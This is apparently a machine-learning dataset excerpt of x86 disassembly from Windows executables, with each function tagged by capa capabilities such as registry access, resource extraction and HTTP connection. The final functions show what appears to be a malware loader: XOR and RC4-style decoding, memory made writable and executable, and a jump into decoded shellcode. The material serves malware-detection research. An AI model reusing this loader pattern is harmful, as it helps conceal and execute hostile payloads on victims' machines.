joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41f179
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x53f740
call fcn.00521f3f
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x1c]
mov ebx, dword [ebp + 8]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041f139
and dword [ebp - 4], 0
mov dword [esi], vtable.CHttpConnection.0
call fcn.0041a1a4
push eax
lea ecx, [esi + 0x18]
call fcn.00402166
push dword [ebp + 0xc]
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004020bf
push dword [esi + 8]
mov ebx, dword [ebx + 8]
push 0
push 3
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 4], eax
test eax, eax
jne 0x41f1f0
push eax
push dword [esi + 8]
call fcn.0041e748
push dword [esi + 0xc]
mov ecx, 0x5a8bac
push eax
call fcn.0041e3c4
mov eax, esi
call fcn.00522017
ret 0x18

Function at 0x423bfb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0041cfe0
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x423c34
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00423838
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x423c92
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x423cb6
cmp dword [edi + 0x74], 0
jne 0x423cb6
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0041cfe0
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.00423c53
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42a209
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42a250
call fcn.0041cfe0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42a250
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42a26c
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00429d09
mov esi, eax
test edi, edi
je 0x42a26a
test ebx, ebx
je 0x42a26a
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x42aa46
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x548b88
call fcn.00521f3f
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x42aa6b
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x42aabd
call fcn.0041a1a4
push eax
lea ecx, [ebp - 0x10]
call fcn.00402166
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00521a8e
push eax
call fcn.00401cf7
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret 8

Function at 0x42ae79
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x5a5fb0]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x42aebe
push 0x553388
push 4
push eax
call fcn.00520e06
push eax
call fcn.00401cf7
add esp, 0x10
jmp 0x42aed4
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x42af54
push edi
call fcn.00522116
mov edi, dword [eax]
call fcn.00522116
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.005220b3
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.00522116
cmp dword [eax], 0
je 0x42af28
call fcn.00522116
push dword [eax]
call fcn.0040348c
pop ecx
jmp 0x42af2f
call fcn.00522116
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
pop edi
je 0x42af54
cmp dword [ebp - 0x234], esi
jae 0x42af54
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x42af56
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0051f4ef
leave
ret
Function at 0x42b495
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x5a5fb0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.0041e23a
pop ecx
cmp eax, esi
je 0x42b57f
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x42b57f
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.005237f0
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x42b57f
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x42b57f
cmp esi, 0x14
jge 0x42b57f
push 0x10
push 0
push edi
call fcn.00524115
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x42b56e
call fcn.00522116
cmp dword [eax], 0x22
je 0x42b56e
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.00521a73
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x42b544
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x5aa864], 0
jne 0x42b60a
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x42b633
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.0042ae79
pop ecx
pop ecx
test eax, eax
jne 0x42b635
inc edi
cmp edi, esi
jl 0x42b610
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051f4ef
leave
ret 8

Function at 0x42dfe5
Capabilities:
Query or enumerate registry value

Disassembly:
push 0
mov eax, 0x5400c2
call fcn.00521f3f
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00401e04
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x42e047
call fcn.0041c87a
cmp eax, 1
jne 0x42e047
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0042dc0f
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00401c1c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040218e
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret 0x10
Function at 0x42e070
Capabilities:
Set registry value

Disassembly:
push 0
mov eax, 0x5400c2
call fcn.00521f3f
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00401e04
and dword [ebp - 4], 0
cmp dword [ebp + 8], 0x80000000
jne 0x42e0d2
call fcn.0041c87a
cmp eax, 1
jne 0x42e0d2
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0042dc0f
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00401c1c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040218e
mov dword [ebp + 8], SysReAllocStringLen
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret 0x14

Function at 0x42e0fe
Capabilities:
Delete registry key

Disassembly:
push 0
mov eax, 0x5400c2
call fcn.00521f3f
push dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
call fcn.00401e04
mov esi, dword [ebp + 8]
and dword [ebp - 4], 0
cmp esi, 0x80000000
jne 0x42e160
call fcn.0041c87a
cmp eax, 1
jne 0x42e160
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp + 8]
push str.SoftwareClasses_
push eax
call fcn.0042dc0f
add esp, 0xc
push eax
lea ecx, [ebp + 0xc]
mov byte [ebp - 4], 1
call fcn.00401c1c
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.0040218e
inc esi
mov ecx, dword [ebp + 0x10]
push dword [ebp + 0xc]
push esi
test ecx, ecx
je 0x42e172
call fcn.0042db51
jmp 0x42e178
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov ecx, dword [ebp + 0xc]
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040218e
mov eax, esi
call fcn.00522017
ret 0xc

Function at 0x43c1a5
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x43c1ed
call fcn.0041cfe0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x43c1ed
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x43c230
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x43c219
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x43c219
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x43c22d
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x43e7ef
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x5a5fb0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x43e824
xor eax, eax
jmp 0x43e877
lea eax, [ebp - 0x210]
push eax
call fcn.00521a73
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x43e855
push 0x553d38
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00520ca2
add esp, 0xc
test eax, eax
jne 0x43e820
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.00520ca2
add esp, 0xc
test eax, eax
jne 0x43e820
lea eax, [ebp - 0x210]
push eax
call fcn.0041e23a
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0051f4ef
leave
ret

Function at 0x4441a1
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.00443e45
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x4441eb
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00401e7f
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00401e52
jmp 0x4441f6
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0043145e
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x4441fc
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0042a315
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x444239
call fcn.00443e45
mov dword [esi + 0xc], 1
jmp 0x44423e
call fcn.00443e45
cmp dword [esi], 0
je 0x444287
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x44425f
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00401e7f
jmp 0x444271
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.00401fd6
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00401e52
jmp 0x4442ab
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x4442ab
push dword [esi]
push dword [ebp + 8]
call fcn.0043145e
pop esi
pop ebp
ret 0xc
Function at 0x447d05
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004840cf
call fcn.0041c9fd
cmp dword [eax + 0x14], 0
jne 0x447d22
mov ecx, esi
pop esi
jmp fcn.0044780a
pop esi
ret

Function at 0x44b43f
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004b2ba6
call fcn.0041c9fd
cmp dword [eax + 0x14], 0
jne 0x44b45c
mov ecx, esi
pop esi
jmp fcn.0044ae0f
pop esi
ret

Function at 0x48863c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x488656
call fcn.0041cfe0
mov esi, dword [eax + 0xc]
push dword [0x5ac504]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x488674
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x48866c
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x4886a1
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x48866e
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.0048856a
mov esi, eax
jmp 0x488693

Function at 0x505b09
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x505b21
mov edi, dword [esi + 0xc]
jmp 0x505b61
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x505b3a
call fcn.00421d82
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x505b4f
call fcn.00421d82
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x505b61
call fcn.00421d82
call fcn.0041cfe0
cmp dword [eax + 0x3c], 0
je 0x505b76
push edi
mov ecx, ebx
call fcn.005049bd
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00505a23
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x505b94
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x505ba0
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x51f4ef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5a5fb0]
jne 0x51f4f9
repz ret
jmp fcn.00528253
Function at 0x5201d1
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x5201f8
call fcn.00522129
mov dword [eax], esi
call fcn.00522116
push 0x16
pop esi
mov dword [eax], esi
call fcn.005284e3
mov eax, esi
jmp 0x52024d
test dword [ebp + 0xc], 0xfffffff9
jne 0x5201de
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x520225
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0052213c
pop ecx
call fcn.00522116
mov eax, dword [eax]
jmp 0x52024d
test al, 0x10
jne 0x52024b
test al, 1
je 0x52024b
test byte [ebp + 0xc], 2
je 0x52024b
call fcn.00522129
mov dword [eax], 5
call fcn.00522116
mov dword [eax], 0xd
jmp 0x52021c
xor eax, eax
pop esi
pop ebp
ret

Function at 0x535cc8
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x5a5fb0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00527c7b
and dword [ebp - 0x14], 0
cmp dword [0x5af088], 0
mov dword [ebp - 0x18], eax
jne 0x535d7b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x535e23
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x579d98
push ebx
call edi
test eax, eax
je 0x535e23
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x579d88
push ebx
mov dword [0x5af088], eax
call edi
push eax
call esi
push 0x579d74
push ebx
mov dword [0x5af08c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x5af090], eax
call edi
push eax
call esi
mov dword [0x5af098], eax
test eax, eax
je 0x535d7b
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x5af094], eax
mov eax, dword [0x5af094]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x535dd4
cmp dword [0x5af098], ecx
je 0x535dd4
push eax
call esi
push dword [0x5af098]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x535dd4
test ebx, ebx
je 0x535dd4
call edi
test eax, eax
je 0x535dcb
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x535dcb
test byte [ebp - 8], 1
jne 0x535dd4
or dword [ebp + 0x10], 0x200000
jmp 0x535e07
mov eax, dword [0x5af08c]
cmp eax, dword [ebp - 0x18]
je 0x535e07
push eax
call esi
test eax, eax
je 0x535e07
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x535e07
mov eax, dword [0x5af090]
cmp eax, dword [ebp - 0x18]
je 0x535e07
push eax
call esi
test eax, eax
je 0x535e07
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x5af088]
call esi
test eax, eax
je 0x535e23
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x535e25
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0051f4ef
leave
ret
Function at 0x40238f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x208
mov eax, dword [0x42d040]
xor eax, esp
mov dword [esp + 0x204], eax
mov eax, dword [esp + 0x20c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x220]
mov ebp, 0x100
push edi
xor edi, edi
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x14], cl
cdq
idiv dword [esp + 0x228]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x114], al
inc ecx
cmp ecx, ebp
jl 0x4023c2
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x14]
movzx eax, byte [esp + esi + 0x114]
add eax, ebx
movzx ecx, dl
add ecx, eax
mov ebx, ecx
and ebx, 0x800000ff
jns 0x402408
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + esi + 0x14], al
inc esi
mov byte [esp + ebx + 0x14], dl
cmp esi, ebp
jl 0x4023e3
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x220], ebx
jle 0x402494
inc edi
and edi, 0x800000ff
jns 0x402437
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x14]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x402450
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x14]
mov byte [esp + edi + 0x14], al
push ecx
mov byte [esp + ebx + 0x18], cl
mov ecx, 0x42e098
mov dword [esp], 0x40495270
call fcn.00402081
push eax
call fcn.004019ae
movzx eax, byte [esp + edi + 0x18]
add eax, esi
pop ecx
mov ecx, dword [esp + 0x10]
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x220]
jl 0x402426
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405eff
add esp, 0x208
ret

Function at 0x403062
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
push edi
mov edi, dword [esp + 0xc]
cmp dword [esp + 0x10], esi
jbe 0x40309f
mov al, byte [edi + esi]
xor al, 0x73
sub al, 0x15
push 0
mov byte [edi + esi], al
call dword [sym.imp.USER32.dll_OpenIcon]
mov al, byte [edi + esi]
sub al, 0x57
xor al, 0x74
add al, 0x4e
xor al, 0x70
sub al, 0x65
xor al, 0x22
sub al, 0x73
xor al, 0x2a
mov byte [edi + esi], al
inc esi
cmp esi, dword [esp + 0x10]
jb 0x403070
pop edi
pop esi
ret

Function at 0x403d0a
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push 0x40
mov edi, 0x4ac
mov esi, 0x44a638
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
push edi
push esi
call fcn.00403062
pop ecx
pop ecx
call fcn.00403048
mov edx, 0x44a638
add edx, 0x188
mov esi, 0x42f038
push esi
call edx
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x406b09
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406b48
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406b48
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406b48
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406b48
cmp dword [ecx + 0x74], 0xe
jbe 0x406b48
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret